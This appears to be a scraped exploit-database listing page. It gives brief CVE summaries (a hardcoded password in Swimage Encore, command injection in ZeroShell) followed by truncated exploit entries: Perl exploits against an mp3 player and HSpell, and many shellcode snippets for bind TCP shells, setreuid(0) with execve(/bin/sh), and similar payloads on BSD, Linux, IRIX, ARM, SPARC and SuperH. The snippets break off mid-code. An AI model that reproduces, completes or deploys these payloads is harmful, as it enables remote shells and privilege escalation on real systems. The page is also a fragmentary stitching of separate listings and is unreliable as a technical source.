Hardcoded credentials

Conductor.exe in Intrinsic Swimage Encore before 5.0.1.21 contains a hardcoded password, which might allow local users to decrypt certain .bin files. NOTE: it is not clear whether this issue crosses privilege boundaries...

CVE-2008-6191

Conductor.exe in Intrinsic Swimage Encore before 5.0.1.21 contains a hardcoded password, which might allow local users to decrypt certain .bin files. NOTE: it is not clear whether this issue crosses privilege boundaries...

CVE-2008-6191

The CVE-2008-6191 issue affects Intrinsic Swimage Encore (Conductor.exe) prior to version 5.0.1.21, where a hardcoded password is stored in Conductor.exe. This could allow local users to decrypt certain .bin files, as described. The available documents do not specify additional details about root...

CVE-2008-6191: Undefined Security Weakness

Conductor.exe in Intrinsic Swimage Encore before 5.0.1.21 contains a hardcoded password, which might allow local users to decrypt certain .bin files. NOTE: it is not clear whether this issue crosses privilege boundaries...

CVE-2009-0545

cgi-bin/kerbynet in ZeroShell 1.0beta11 and earlier allows remote attackers to execute arbitrary commands via shell metacharacters in the type parameter in a NoAuthREQ x509List action...

CVE-2009-0545: Improper Input Validation

cgi-bin/kerbynet in ZeroShell 1.0beta11 and earlier allows remote attackers to execute arbitrary commands via shell metacharacters in the type parameter in a NoAuthREQ x509List action...

NaviCopa HTTP Server buffer overflow

Stack buffer overflow stack overrun on oversized request to cgi-bin directory. Script content leak with "." added to path...

Thomson mp3PRO Denial Of Service

!/usr/bin/perl Discovered & Written by : Hakxer Sec-geeks.com EgY Coders Team :D program : Thomson mp3PRO Player/Encoder M3U File Crash PoC what happen .. : when you import hakxer.m3u file into program ....... Get Crashed :D Greetz : EgyptianxHacker , Providor , EgY Coders team , Bin@ry ,...

HSPell 1.1 Command Execution

!/usr/bin/perl use IO::Socket; print q HSpell v1.1 Command Execution Exploit Theres a 1000 ways to improve this exploit, but I really couldn't be fucked with it. Made By ZeN http://dusecurity.com/ http://darkcode.me/ ; $host = 'site.com'; $port = '80'; $path = '/cgi-bin/cilla.cgi'; ShellMe: print...

FreeBSD/x86-64 - Bind TCP Shell (/bin/sh) + Password (R2CBw0cr) Shellcode (127 bytes)

FreeBSD/x86-64 - Bind TCP Shell /bin/sh + Password R2CBw0cr Shellcode 127 bytes. Shellcode exploit for FreeBSDx86-64 platform / Gitsnik, @dracyrys FreeBSD x8664 bindtcp with passcode, 127 bytes Passcode: R2CBw0cr / C Source: char code = \ "\x6a\x61\x58\x6a\x02\x5f\x6a\x01\x5e\x99"...

Linux/x86 - Bind TCP (45295/TCP) Shell (/bin/sh) + fork() Shellcode (200 bytes)

Linux/x86 - Bind TCP 45295/TCP Shell /bin/sh + fork Shellcode 200 bytes. Shellcode exploit for Linuxx86 platform / linux x86 shellcode by eSDee of Netric www.netric.org 131 byte - connect back shellcode port=0xb0ef / include char shellcode = "\x31\xc0\x31\xdb\x31\xc9\x51\xb1"...

FreeBSD/x86 - Bind TCP (41254/TCP) Shell (/bin/sh) Shellcode (115 bytes)

FreeBSD/x86 - Bind TCP 41254/TCP Shell /bin/sh Shellcode 115 bytes. Shellcode exploit for FreeBSDx86 platform / FreeBSD shellcode that binds /bin/sh to port 41254 Assembly code and explanation will be released on safemode.org soon. Written by zillion zillion at safemode.org / char shellcode =...

BSD/x86 - execve(/bin/sh) + seteuid(0) Shellcode (31 bytes)

BSD/x86 - execve/bin/sh + seteuid0 Shellcode 31 bytes. Shellcode exploit for BSDx86 platform / simply execvebinsh+seteuid0 shellcode in 31 bytes written on nasm - my first nasm exp. greetz2: mig darknet /EFnet.org nerf nerf /EFnet.org dev0id rus-sec /EFnet.org rootteam.void.ru / char shellcode =...

IRIX - execve(/bin/sh) Shellcode (43 bytes)

IRIX - execve/bin/sh Shellcode 43 bytes. Shellcode exploit for IRIX platform char shellcode= "\x04\x10\xff\xff" / bltzal $zero, / "\x24\x02\x03\xf3" / li $v0,1011 / "\x23\xff\x02\x14" / addi $ra,$ra,532 / "\x23\xe4\xfe\x08" / addi $a0,$ra,-504 / "\x23\xe5\xfe\x10" / addi $a1,$ra,-496 /...

Linux/StrongARM - Bind TCP Shell (/bin/sh) Shellcode (203 bytes)

Linux/StrongARM - Bind TCP Shell /bin/sh Shellcode 203 bytes. Shellcode exploit for ARM platform / 203 byte StrongARM/Linux bind portshell shellcode funkysh / char shellcode= "\x20\x60\x8f\xe2" / add r6, pc, 32 / "\x07\x70\x47\xe0" / sub r7, r7, r7 / "\x01\x70\xc6\xe5" / strb r7, r6, 1 /...

Linux/SuperH (sh4) - Bind TCP (31337/TCP) Shell (/bin/sh) Shellcode (132 bytes)

Linux/SuperH sh4 - Bind TCP 31337/TCP Shell /bin/sh Shellcode 132 bytes. Shellcode exploit for SuperHSH4 platform / Bind /bin/sh on port 31337 SH4 - 132bytes Dad main: mov 102,r3 mov 2,r4 mov 1,r5 xor r6,r6 mov.l r6,@-r15 mov.l r5,@-r15 mov.l r4,@-r15 mov 1,r4 mov r15,r5 trapa 19 mov r0,r4 mov...

Linux/SPARC - setreuid(0,0) + execve(/bin/sh) Shellcode (64 bytes)

Linux/SPARC - setreuid0,0 + execve/bin/sh Shellcode 64 bytes. Shellcode exploit for LinuxSPARC platform / Linux/SPARC setreuid0,0; execve of /bin/sh shellcode. / char c0de = / anathema / / setreuid0,0; / "\x82\x10\x20\x7e" / mov 126, %g1 / "\x92\x22\x40\x09" / sub %o1, %o1, %o1 / "\x90\x0a\x40\x0...

Solaris/SPARC - setreuid(geteuid()) + setregid(getegid()) + execve(/bin/sh) Shellcode

Solaris/SPARC - setreuidgeteuid + setregidgetegid + execve/bin/sh Shellcode. Shellcode exploit for SolarisSPARC platform / Solaris shellcode - setreuidgeteuid, setregidgetegid, execve /bin/sh Claes M. Nyberg 20020124 , / include static char solariscode = / geteuid / "\x82\x10\x20\x18" / mov 24, %...

Linux/x86 - symlink /bin/sh sh Shellcode (36 bytes)

Linux/x86 - symlink /bin/sh sh Shellcode 36 bytes. Shellcode exploit for Linuxx86 platform /The shellcode calls the symlink and makes the link to the /bin/sh in the current dir. size = 36 bytes OS = Linux i386 written by /rootteam/dev0id rootteam.void.ru BITS 32 jmp short callit doit: pop esi xor...

Linux/x86 - execve(/bin/sh /tmp/p00p) Shellcode (70 bytes)

Linux/x86 - execve/bin/sh /tmp/p00p Shellcode 70 bytes. Shellcode exploit for Linuxx86 platform Author: zillion EMail: [email protected] Home: http://www.safemode.org Linux x86 shellcode that does an execve of /bin/sh /tmp/p00p. File name: execve-tmp-p00p.c / This shellcode will do /bin/sh...